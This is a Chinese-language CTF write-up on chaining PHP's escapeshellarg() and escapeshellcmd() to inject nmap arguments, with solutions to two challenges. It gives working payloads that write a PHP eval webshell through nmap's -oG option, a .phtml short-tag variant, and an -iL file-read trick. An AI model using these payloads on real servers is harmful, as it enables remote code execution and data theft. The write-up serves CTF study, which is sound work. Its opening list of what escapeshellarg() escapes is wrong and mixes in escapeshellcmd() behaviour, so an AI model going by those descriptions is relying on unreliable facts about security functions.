文章目錄
- 函數利用
- escapeshellarg()函數
- escapeshellcmd()函數
- exp執行原理
- 攻擊面
- 例題 [BUUCTF 2018]Online Tool
- 例題 [網鼎杯 2020 朱雀組]Nmap
函數利用
escapeshellarg()函數
單引號 ('):轉義為 \'。
雙引號 ("):轉義為 \"。
反斜杠 (\):轉義為 \\。
美元符號 ($):轉義為 \$。
反引號 (`):轉義為 ``````。
感嘆號 (!):轉義為 \!。
分號 (;):轉義為 \;。
大于號 (>):轉義為 \>。
小于號 (<):轉義為 \<。
垂直線 (|):轉義為 \|。
與號 (&):轉義為 \&。
空格 ( ):轉義為 \ 。
escapeshellcmd()函數
這些轉義和規范化操作有助于確保命令字符串在傳遞給命令行時能夠正確解析,并且不會被誤認為是命令或其他惡意代碼。
執行操作
替換命令字符串中的單引號 (') 為反斜杠和單引號組合 (\')。
替換命令字符串中的雙引號 (") 為反斜杠和雙引號組合 (\")。
刪除命令字符串中的換行符 (\n)。
刪除命令字符串中的回車符 (\r)。
exp執行原理
我們來分析下構造的exp
172.17.0.2' -v -d a=1
當進行escapeshellarg()函數處理后,會先進行字符轉義,變成如下
172.17.0.2\' -v -d a=1
//然后添加兩個單引號到轉義的單引號左右,使得兩部分括起來從而起到連接的作用
'172.17.0.2'\'' -v -d a=1'
再進行escapeshellcmd()函數處理后
對\
以及最后那個不配對的單引號進行了轉義
'172.17.0.2'\\'' -v -d a=1\'
所以如果利用攻擊的話,即向172.17.0.2\發起請求,POST 數據為a=1’
(中間的單引號閉合不用管)
攻擊面
如果應用使用escapeshellarg -> escapeshellcmd
這樣的流程來處理輸入是存在隱患的,mail就是個很好的例子,因為它函數內部使用了escapeshellcmd,如果開發人員僅用escapeshellarg來處理輸入再傳給mail那這層防御幾乎是可以忽略的。
如果可以注入參數,那利用就是各種各樣的了,例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的參數注入的例子。
例題 [BUUCTF 2018]Online Tool
源碼
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}if(!isset($_GET['host'])) {highlight_file(__FILE__);
} else {$host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
接收參數host,然后經過escapeshellarg -> escapeshellcmd
處理,最后執行命令
通過查閱我們知道nmap存在參數-oG
可以實現將命令和結果寫入文件
我們按照前文的思路,嘗試構造
(中間部分的轉義可以不去管,不會造成影響)
127.0.0.1 <?php @eval();?> -oG hack.php
如果我們直接傳入這個,只會被當成字符串無法寫入馬
那么我們在傳入參數的前面添加單引號,后面空格加單引號
'127.0.0.1 <?php @eval();?> -oG hack.php '
傳進去后變成
''127.0.0.1 <?php @eval();?> -oG hack.php ''
經過escapeshellarg函數處理
'\'127.0.0.1 <?php @eval();?> -oG hack.php \''
//在轉義的單引號左右添加單引號
''\''127.0.0.1 <?php @eval();?> -oG hack.php '\'''
經過escapeshellcmd函數處理
''\\''127.0.0.1 <?php @eval();?> -oG hack.php '\\'''
執行結果會對目標\127.0.0.1
發送命令<?php @eval();?> -oG hack.php \
寫入文件
最終payload
'127.0.0.1 <?php @eval($_POST["hack"]);?> -oG hack.php '
或者
' <?php @eval($_POST["hack"]);?> -oG hack.php '
成功寫入后命令執行
例題 [網鼎杯 2020 朱雀組]Nmap
方法和前一題差不多
大概測試了下,語句必須有host值,過濾了php
利用管道符|
,短標簽和phtml后綴繞過
127.0.0.1 | ' <?=eval($_POST["hack"]);?> -oG hack.phtml '
scan后訪問/hack.phtml
,命令執行即可
還有一種利用方法,payload如下
127.0.0.1' -iL ../../../../flag -o 1
執行后,訪問/1'
即可得到flag
解釋一下,該命令拼接到執行語句后為
'127.0.0.1'\\'' -iL ../../../../flag -o 1\'
也就是我們推導的exp執行過程